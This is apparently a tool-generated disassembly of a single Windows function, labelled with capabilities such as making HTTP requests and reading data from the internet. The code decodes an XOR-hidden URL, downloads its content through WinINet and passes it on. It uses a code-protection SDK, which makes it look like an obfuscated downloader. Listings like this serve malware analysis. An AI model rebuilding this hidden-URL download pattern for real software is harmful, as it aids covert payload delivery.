Function at 0x140001c20
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov eax, 0x1180
call fcn.140003fa0
sub rsp, rax
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1120], rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_161]
movabs rbx, 0xf44a010009e999c6
lea rcx, [rbp + 0x30]
xor esi, esi
movabs rdi, 0x161316cd0d5c7325
mov qword [rbp], rdi
movabs r14, 0x166316b90d28734d
mov rax, qword [rbp]
xor r9d, r9d
mov qword [rbp + 0x30], rax
xor r8d, r8d
mov qword [rbp], rbx
lea edx, [rsi + 1]
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0xb8], rax
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x140001cf5
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp], rdi
movabs rcx, 0xed12ae48a4d13bce
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xf465012f09d399b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x6efcf2140b5390b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x79b1922789e2c3ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x4ed78212597e727f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x9e9b867549442f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x9ebddf8288a88aa4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x1b025ff3f3e3b2ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xc823bfc1de2b3ebb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x6e88f2670b3290c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x79df924e8980c3c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x4eba827d591d7251
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x9eec861449362f1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x9edfdffb889c8a8b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x1b505fb2f3d1b2bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xc823bfc1de2b3ef5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov qword [rbp + 0x108], rax
vmovdqa xmm2, xmmword [rbp + 0x80]
lea rdx, [rbp + 0x40]
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor r8d, r8d
vmovdqa xmmword [rbp + 0x80], xmm2
mov rcx, r12
vmovdqa ymmword [rbp + 0x60], ymm1
mov dword [rsp + 0x20], 0x80000000
vzeroupper
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x140001f22
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [rbp + 0xa0]
mov r8d, 0x1000
lea rdx, [rbp + 0x120]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
lea r14, [0x1400080b8]
test eax, eax
je 0x140001fe7
nop
mov eax, dword [rbp + 0xa0]
test eax, eax
je 0x140001fe7
mov rdx, qword [0x1400080d0]
mov ebx, eax
mov rcx, qword [0x1400080c8]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140001fae
cmp rdx, 0xf
lea rax, [rcx + rbx]
mov rdi, r14
mov qword [0x1400080c8], rax
cmova rdi, qword [0x1400080b8]
lea rdx, [rbp + 0x120]
add rdi, rcx
mov r8d, ebx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], sil
jmp 0x140001fc2
lea r9, [rbp + 0x120]
mov qword [rsp + 0x20], rbx
mov rdx, rbx
call fcn.140002d30
lea r9, [rbp + 0xa0]
mov r8d, 0x1000
lea rdx, [rbp + 0x120]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001f50
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [0x1400080d0], 0xf
movabs rbx, 0x7fffffffffffffff
mov rdi, qword [0x1400080c8]
xorps xmm0, xmm0
cmova r14, qword [0x1400080b8]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
movups xmmword [rbp + 8], xmm0
cmp rdi, rbx
ja 0x14000211b
mov qword [rbp + 0x20], 0xf
cmp rdi, 0xf
ja 0x140002051
mov qword [rbp + 0x18], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 8], xmm0
jmp 0x1400020dc
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140002086
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003170
test rax, rax
je 0x1400020ad
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400020c1
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400020b4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002121
jmp 0x14000206b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400020c1
call fcn.140003170
mov rsi, rax
lea r8, [rdi + 1]
mov qword [rbp + 8], rsi
mov rdx, r14
mov qword [rbp + 0x18], rdi
mov rcx, rsi
mov qword [rbp + 0x20], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 8]
call fcn.1400012a0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_561]
mov rcx, qword [rbp + 0x1120]
xor rcx, rsp
call fcn.140003150
lea r11, [rsp + 0x1180]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011c0
int3
call fcn.140001120
int3